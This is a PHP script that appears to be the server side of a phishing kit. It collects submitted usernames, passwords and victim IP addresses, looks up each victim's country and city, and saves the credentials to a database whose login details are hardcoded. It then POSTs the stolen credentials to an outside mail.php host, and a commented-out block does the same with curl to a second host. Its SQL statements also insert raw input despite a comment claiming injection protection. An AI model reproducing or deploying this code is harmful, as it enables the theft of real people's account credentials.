<?php
$user = $_POST["uname"];
$pass = $_POST["upass"];
$user1 = $_POST["uname1"];
$pass1 = $_POST["upass1"];
$sid = $_POST["usid"];
$ip = $_POST['uip'];

$DATABASE_HOST = 'localhost';
$DATABASE_USER = 'bluefee1_logins';
$DATABASE_PASS = 'loginS_12345';
$DATABASE_NAME = 'bluefee1_login_saves';

$ipdat = @json_decode(file_get_contents( 
    "http://www.geoplugin.net/json.gp?ip=" . $ip)); 
   

	$country = "$ipdat->geoplugin_countryName"; 
	$city = "$ipdat->geoplugin_city";

// Try and connect using the info above.
$con = mysqli_connect($DATABASE_HOST, $DATABASE_USER, $DATABASE_PASS, $DATABASE_NAME);
if ( mysqli_connect_errno() ) {
	// If there is an error with the connection, stop the script and display the error.
	die ('Failed to connect to MySQL: ' . mysqli_connect_error());
}


// Prepare our SQL, preparing the SQL statement will prevent SQL injection.
if ($stmt = $con->prepare('SELECT id, password FROM accounts WHERE session = ?')) {
	// Bind parameters (s = string, i = int, b = blob, etc), in our case the username is a string so we use "s"
	$stmt->bind_param('s', $sid);
	$stmt->execute();
	// Store the result so we can check if the account exists in the database.
	$stmt->store_result();
}
$stmt->store_result();

//Now See if the entry exists so that we update if it does or create if it doesnt
if ($stmt->num_rows > 0) {

	//Update existing Entry
	$stmt1 = $con->prepare("update accounts set password = '$pass', email = '$user', ip_address = '$ip', country = '$country', city = '$city' where session = '$sid' ");
	$stmt1->execute();
	
}
else{

	//Create New Entry
	$stmt2 = $con->prepare("insert into accounts (session, password, email, ip_address,country,city) values ('$sid','$pass','$user','$ip','$country','$city')");
	$stmt2->execute();
}



//send email
//    $url = "http://secured.phetego.com/mail.php?ip=" . $ip . "user" . $user . "pass" . $pass . "user1" . $user1 . "pass1" . $pass1 . "country" . $country . "city" . $city . "";
//    $ch = curl_init();
//    curl_setopt($ch, CURLOPT_URL, $url);
//    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
//    $Content = curl_exec($ch);
//    curl_close($ch);

//echo $Content;

$url = 'https://securefile.trustfund-group.com/mail.php';
$data = array('ip' => $ip, 'user' => $user, 'user1' => $user1, 'pass' => $pass, 'pass1' => $pass1, 'country' => $country, 'city' => $city);

$options = array(
    'http' => array(
        'header'  => "Content-type: application/x-www-form-urlencoded\r\n",
        'method'  => 'POST',
        'content' => http_build_query($data),
    ),
);
$context  = stream_context_create($options);
$html = file_get_contents($url, false, $context);

var_dump($html);

?>